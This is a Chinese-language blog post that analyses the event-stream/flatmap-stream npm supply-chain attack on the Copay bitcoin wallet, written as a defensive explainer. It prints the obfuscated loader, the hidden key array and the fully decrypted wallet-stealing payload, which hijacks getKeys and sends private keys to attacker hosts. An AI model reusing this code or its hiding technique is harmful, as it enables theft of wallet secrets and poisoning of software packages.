篡改 npm 包盗取比特币始末

4,115 阅读14分钟

@蒋欢,美团点评前端工程师,3年工作经验,主要负责美团点评“云店助手"客户端和"美团点评智慧餐厅"小程序的开发。本文首发于 蒋欢的知乎专栏 ,敬请关注。

正文从这开始~

比特币钱包 Copay 被依赖链攻击这个瓜上周在技术圈里被广泛讨论,我在看了众多大神分析之后理清了前因后果。在这里也给大家来分享一波黑客是如何一步步实施他的惊人计划的。

一、 背景介绍

event-stream 是开源社区里一个用于处理 Node.js 流数据的 npm 包,它使得创建和使用流变得容易,正是因此,受到了广大开发者的欢迎,目前这个库上周下载量达到了165万

event-stream在npm的托管

而这起事件起因是由于该项目的作者 @dominictarr 受限于时间与精力,将其维护工作交给了另一位开发者 @Right9ctrl,该开发者获得了 event-stream 的权限后,将恶意代码通过依赖项 flatmap-stream 注入到了 event-stream 中去。也正是这个依赖项引入了窃取比特币的后门。

同时,著名的比特币钱包 Dash Copay 在他们的应用中引用了对 event-stream 的依赖,从而导致了中毒事件的发生。

梳理下来,黑客的具体步骤如下:

  • 第一步,黑客 @right9ctrl 发邮件给这个库的原作者 @dominictarr,而他因为缺乏时间和兴趣已经不愿再维护这个库了,于是就将该库转让给了这个完全不认识的陌生人 。

原作者的解释

  • 第二步,9 月 9 日,新维护者开始了初步性的动作,首先释出了 event-stream 3.3.6 版本的更新,并在其中加入了一个全新的模块——flatmap-stream,彼时这个模块中并没有恶意功能。

  • 第三步,9 月 16 日,@right9ctrl 删除了对 flatmap-stream 的引用并在 event-stram 里 手动实现 了这个方法,之后直接将项目从3.3.6 升级到了 4.0.0。但引用npm包的时候,很少有人直接升级大版本,也就是说 codepay 很可能会一直使用这个中毒的 event-stream 3.3.6版本。

黑客的攻击步骤

  • 第四步,10 月 5 日,flatmap-stream@0.1.1 版本被一个名为 @hugeglass 的用户推送到了 NPM。而这次释出的更新中该模块就被加入了窃取比特币钱包的用户信息和秘钥。通俗的来说就好比用户的网银账号、密码和U盾一起被盗了。

二、盗窃与曝光

盗窃

那么黑客的代码具体是怎么盗窃比特币的呢? 通过分析 flatmap-stream 的源码,我们可以将其分解为已下四个步骤:

  1. 外部代码判断执行环境,如果是在 copay-dash 项目中运行,则将加密成16进制的内部代码进行解密并执行。

  2. 内部代码判断用户的使用环境(是否使用 Cordova),同时获取受害者的个人钱包信息。

  3. 通过遍历受害者钱包里所有的id,查找账户余额超过100 BTC(市值300万人民币)或者1000 BCH(市值125万人民币)的账户。

  4. 将受害者的账户信息和钱包秘钥分别发往部署在吉隆坡的服务器 111.90.151.134 和 copayapi.host(之前DNS解析为:145.249.104.239,目前为:51.38.112.212)。

曝光

整个事情的曝光十分具有戏剧性,一个完全不相关的第三方开发者在自己的项目中引入了 Nodemon 监控,但是控制台出现了一条警告 "DeprecationWarning: crypto.createDecipher is deprecated"。

crypto是一个常用的加密解密库,最近因为 api 升级,它的 crypto.createDecipher方法已经在新版中废弃,因此系统抛出警告。

一个意外将整个事件曝光

然而,正常情况下对 nodejs 的监控是不需要进行加密解密的。所以为了解决这个意外的警告,这位热心的开发者将问题上报到了社区。在解决问题的过程中,他们一路向上遍历了他项目的依赖树,最终发现依赖是由 flatmap-stream 引入的。通过解密 flatmap-stream 的代码,由此揭开了整个事件的序幕。

攻击与发现

三、代码分析

现在让我们通过回溯代码来一步步分析黑客是怎么实施他的盗窃的,如果不愿意看详细分析也可以直接跳到章节最后的总结图:)

首先,攻击者上传的原始代码 (flatmap-stream@0.1.1)[unpkg.com/flatmap-str…] 是被压缩过的:

var Stream=require("stream").Stream;module.exports=function(e,n){var i=new Stream,a=0,o=0,u=!1,f=!1,l=!1,c=0,s=!1,d=(n=n||{}).failures?"failure":"error",m={};function w(r,e){var t=c+1;if(e===t?(void 0!==r&&i.emit.apply(i,["data",r]),c++,t++):m[e]=r,m.hasOwnProperty(t)){var n=m[t];return delete m[t],w(n,t)}a===++o&&(f&&(f=!1,i.emit("drain")),u&&v())}function p(r,e,t){l||(s=!0,r&&!n.failures||w(e,t),r&&i.emit.apply(i,[d,r]),s=!1)}function b(r,t,n){return e.call(null,r,function(r,e){n(r,e,t)})}function v(r){if(u=!0,i.writable=!1,void 0!==r)return w(r,a);a==o&&(i.readable=!1,i.emit("end"),i.destroy())}return i.writable=!0,i.readable=!0,i.write=function(r){if(u)throw new Error("flatmap stream is not writable");s=!1;try{for(var e in r){a++;var t=b(r[e],a,p);if(f=!1===t)break}return!f}catch(r){if(s)throw r;return p(r),!f}},i.end=function(r){u||v(r)},i.destroy=function(){u=l=!0,i.writable=i.readable=f=!1,process.nextTick(function(){i.emit("close")})},i.pause=function(){f=!0},i.resume=function(){f=!1},i};!function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}();

其中问题代码被偷偷放在最后面,我们将代码解压缩并格式化可得到可读的问题代码1

! function () {
    try {
        var r = require,
            t = process;

        function e(r) {
            return Buffer.from(r, "hex").toString()
        }
        var n = r(e("2e2f746573742f64617461")), // 在Github上不存在,但是实际在发布的npm包里隐藏的 ‘./test/data.js’文件
            o = t[e(n[3])][e(n[4])];
        if (!o) return;
        var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
            a = u.update(n[0], e(n[8]), e(n[9]));
        a += u.final(e(n[9]));
        var f = new module.constructor;
        f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])
    } catch (r) {}
}();

上述代码部分被转成 16 进制,我们可以进行一次 16 进制转得到转码代码1,其中 r(e("2e2f746573742f64617461")),翻译过来就是 require("./test/data"); 目前 data.js 这个文件已原项目中被删除,根据 FallingSnow 的说明,data.js文件是一个如下的数组,对应原代码中的数组n。同样将该数组转码后,可得到:

[
    // 数组前两项为加密的黑客窃取代码
    "75d4c87f3f6964903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959e3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1",
    "db67fdbfc39c249c6f338194a526fb95f5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae99ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1",
    "63727970746f", // crypto
    "656e76",  // env
    "6e706d5f7061636b6167655f6465736372697074696f6e",  // npm_package_description
    "616573323536", // aes256
    "6372656174654465636970686572", // createDecipher
    "5f636f6d70696c65", // _compile
    "686578", // hex
    "75746638" // utf8
]

通过data.js对问题代码的数组 n 进行替换,我们可得到下面的转码代码2

!(function() {
    try {
        //攻击代码被伪装成16进制
        var n = [
            "75d4c87f3f6964903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959e3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1",
            "db67fdbfc39c249c6f338194a526fb95f5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae99ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1"
        ];
        var o = process["env"]["npm_package_description"];
        if (!o) return;
        var u = require("crypto")["createDecipher"]("aes256", o),
            a = u.update(n[0], "hex", "utf8");
        a += u.final("utf8");
        var f = new module.constructor();
        (f.paths = module.paths), f["_compile"](a, ""), f.exports(n[1]);
    } catch (r) {}
})();

其中这个数组 n 很特别,头两项 n[0], n[1] 的长字符串需要用被依赖项目的 "npm_package_description" 进行解密,并且只有当 description 正好为 "A Secure Bitcoin Wallet" 才能成功解密。而“很巧”的是 copay 项目的 description 正好为此,所以说这是针对 copay 钱包的定向攻击。同时,由于黑客在这里使用了 crypto.createDecipher 这个过时的api 才最终导致其暴露。 经过两轮解密后我们得到最终的 解密代码,我语义化并注释后如下:

! function() {
    function startUp() {
        try {
            var HTTP = require("http"),
                Crypto = require("crypto"),
                publicKey = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----";

            function postData(hostName, pathName, encryptedData) {
                hostName = Buffer.from(hostName, "hex").toString(); // 将16进制字符转换成string,"copayapi.host" 和111.90.151.134
                var request = HTTP.request({
                    hostname: hostName,
                    port: 8080,
                    method: "POST",
                    path: "/" + pathName,
                    headers: {
                        "Content-Length": encryptedData.length,
                        "Content-Type": "text/html"
                    }
                }, function() {});
                request.on("error", function(e) {}), request.write(encryptedData), request.end()
            }

            // 偷取了用户信息并用公钥加密后发送
            function encryptAndPost(pathName, userInfo) {
                for (var encryptedData = "", r = 0; r < userInfo.length; r += 200) {
                    var o = userInfo.substr(r, 200);
                    encryptedData += Crypto.publicEncrypt(publicKey, Buffer.from(o, "utf8")).toString("hex") + "+"
                }
                postData("636f7061796170692e686f7374", pathName, encryptedData), postData("3131312e39302e3135312e313334", pathName, encryptedData) // 攻击者的服务器copayapi.host,111.90.151.134
            }

            // 偷取用户信息
            function stealUserInfo(profile, stealSuccessCB) {
                if (window.cordova) {
                    try {
                        var dataDirectory = cordova.file.dataDirectory; // cordova接口获取程序的数据目录, Persistent and private data storage within the application's sandbox
                        resolveLocalFileSystemURL(dataDirectory, function(e) {
                            e.getFile(profile, {
                                create: !1
                            }, function(e) {
                                e.file(function(e) {
                                    var reader = new FileReader;
                                    reader.onloadend = function() {
                                        return stealSuccessCB(JSON.parse(reader.result))
                                    }, reader.onerror = function(e) {
                                        reader.abort()
                                    }, reader.readAsText(e)
                                })
                            })
                        })
                    } catch (e) {}
                } else {
                    try {
                        var r = localStorage.getItem(profile);
                        if (r) return stealSuccessCB(JSON.parse(r))
                    } catch (e) {}
                    try {
                        chrome.storage.local.get(profile, function(e) {
                            if (e) return stealSuccessCB(JSON.parse(e[profile]))
                        })
                    } catch (e) {}
                }
            }
            // 执行代码由此开始,针对账户内大于100BTC余额的账户,偷取用户的证书和个人信息。
            global.CSSMap = {}, stealUserInfo("profile", function(e) {
                for (var t in e.credentials) {
                    var n = e.credentials[t];
                    "livenet" == n.network && stealUserInfo("balanceCache-" + n.walletId, function(profileInfo) {
                        var that = this;
                        that.balance = parseFloat(profileInfo.balance.split(" ")[0]), "btc" == that.coin && that.balance < 100 || "bch" == that.coin && that.balance < 1e3 || (global.CSSMap[that.xPubKey] = true, encryptAndPost("c", JSON.stringify(that)))
                    }.bind(n))
                }
            });

            // 引入credentials并重写,再次尝试偷取用户公钥
            var Credentials = require("bitcore-wallet-client/lib/credentials.js");
            Credentials.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) {
                var t = this.getKeysFunc(e); // 正常执行Credentials.prototype.getKeys
                try { // 尝试窃取秘钥
                    global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], encryptAndPost("p", e + "\\t" + this.xPubKey))
                } catch (e) {}
                return t
            }
        } catch (e) {}
    }
    window.cordova ? document.addEventListener("deviceready", startUp) : startUp()
}();

由于上面的解密代码比较清晰,所以这里只简述一下。大概是分两步偷取用户的个人信息和钱包秘钥后,加密发往自己在吉隆坡的服务器。实现方式是通过JS的原型链引用,在 flatmap-stream 里重写了 Credentials.getKeys 方法,这个方法被用 copay-dash 项目组用来获取用户的秘钥,他在程序执行该方法后,将用户秘钥发往自己的服务器。

为了让大家能更好梳理攻击的流程,我画出了解密的流程图以供参考:

黑客的攻击步骤

四、影响与反思

问题暴露后,copay 钱包项目组做了紧急修复并上线v5.2.0版本,但依然还有大量的未更新的钱包老版本(v5.0.2 ~ v5.1.0)中毒,他们也建议用户自行升级并将比特币转移到新的钱包中。

目前已有用户声称电子钱包被盗

作为第三方开发者我们可以通过 "npm ls event-stream flatmap-stream" 来核对我们的项目里是否安装了相关的依赖包。下面是一个安装了中毒依赖包的项目,如果你也安装了event-stream@3.3.6 请将依赖升级到最新版即可。

[redacted]
└─┬ npm-run-all@4.1.3
  └─┬ ps-tree@1.1.0
    └─┬ event-stream@3.3.6
      └── flatmap-stream@0.1.2

针对依赖链攻击目前还没有很好的解决方法,虽然社区里有建议限制依赖包的权限或要求 npm 明文提交等方式,但短期来看都不太可能实现。

我们能做也许只有在引用依赖之前,仔细审核一下被引用的包。同时,对经过安全认证的包锁住版本,确保不会引入新的有毒依赖包。

参考文档